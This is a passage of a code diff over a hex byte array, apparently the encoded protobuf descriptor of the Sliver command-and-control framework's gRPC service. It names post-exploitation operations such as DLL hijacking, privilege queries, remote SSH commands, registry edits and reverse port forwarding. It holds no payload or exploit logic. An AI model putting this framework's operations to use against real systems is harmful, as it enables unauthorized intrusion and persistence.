0x62, - 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, + 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, - 0x65, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, - 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x4b, 0x65, 0x79, 0x12, 0x54, 0x0a, 0x13, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, - 0x4c, 0x69, 0x73, 0x74, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, - 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, - 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x53, 0x0a, 0x12, 0x52, 0x65, - 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, - 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, - 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x52, 0x65, - 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, - 0x69, 0x73, 0x74, 0x72, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, - 0x3e, 0x0a, 0x0d, 0x52, 0x75, 0x6e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, - 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, - 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, - 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x44, 0x4c, 0x4c, 0x12, 0x16, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, - 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65, 0x74, - 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, - 0x12, 0x57, 0x0a, 0x15, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, - 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x22, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x53, 0x74, 0x61, - 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1a, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, - 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x53, 0x0a, 0x14, 0x47, 0x65, 0x74, - 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, - 0x73, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, - 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, - 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, - 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x55, - 0x0a, 0x14, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, - 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x21, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, - 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, - 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x3b, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x6c, - 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, - 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, - 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, - 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, - 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, - 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, - 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x44, 0x0a, - 0x0d, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, - 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, - 0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a, 0x0e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, - 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, - 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, - 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x5c, 0x0a, 0x15, - 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, - 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, - 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, - 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x53, 0x0a, 0x12, 0x4c, 0x69, - 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, - 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, - 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, - 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, - 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, - 0x50, 0x0a, 0x11, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, - 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, - 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, - 0x6e, 0x12, 0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x50, 0x6f, 0x72, 0x74, - 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, - 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, - 0x64, 0x12, 0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x50, 0x6f, 0x72, 0x74, 0x46, - 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, - 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, + 0x65, 0x79, 0x12, 0x54, 0x0a, 0x13, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, + 0x73, 0x74, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, + 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75, + 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x53, 0x0a, 0x12, 0x52, 0x65, 0x67, 0x69, + 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x1f, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, + 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, + 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, + 0x74, 0x72, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x3e, 0x0a, + 0x0d, 0x52, 0x75, 0x6e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x17, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, + 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x38, 0x0a, + 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x44, 0x4c, 0x4c, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, + 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, + 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65, 0x74, 0x50, 0x72, + 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, + 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x57, + 0x0a, 0x15, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, + 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x22, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, + 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1a, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, + 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x53, 0x0a, 0x14, 0x47, 0x65, 0x74, 0x52, 0x70, + 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, + 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, + 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, + 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, + 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x55, 0x0a, 0x14, + 0x53, 0x74, 0x6f, 0x70, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, + 0x65, 0x6e, 0x65, 0x72, 0x12, 0x21, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, + 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, + 0x6e, 0x65, 0x72, 0x12, 0x3b, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, + 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x12, 0x37, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x6f, 0x73, + 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, + 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, + 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, + 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x44, 0x0a, 0x0d, 0x43, + 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, + 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, + 0x6e, 0x12, 0x47, 0x0a, 0x0e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, + 0x6f, 0x6e, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, + 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, + 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, + 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x5c, 0x0a, 0x15, 0x52, 0x65, + 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, + 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, + 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, + 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, + 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x53, 0x0a, 0x12, 0x4c, 0x69, 0x73, 0x74, + 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1f, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, + 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, + 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x57, + 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x50, 0x0a, + 0x11, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, + 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, + 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, + 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, + 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, + 0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, + 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, + 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, - 0x3c, 0x0a, 0x0c, 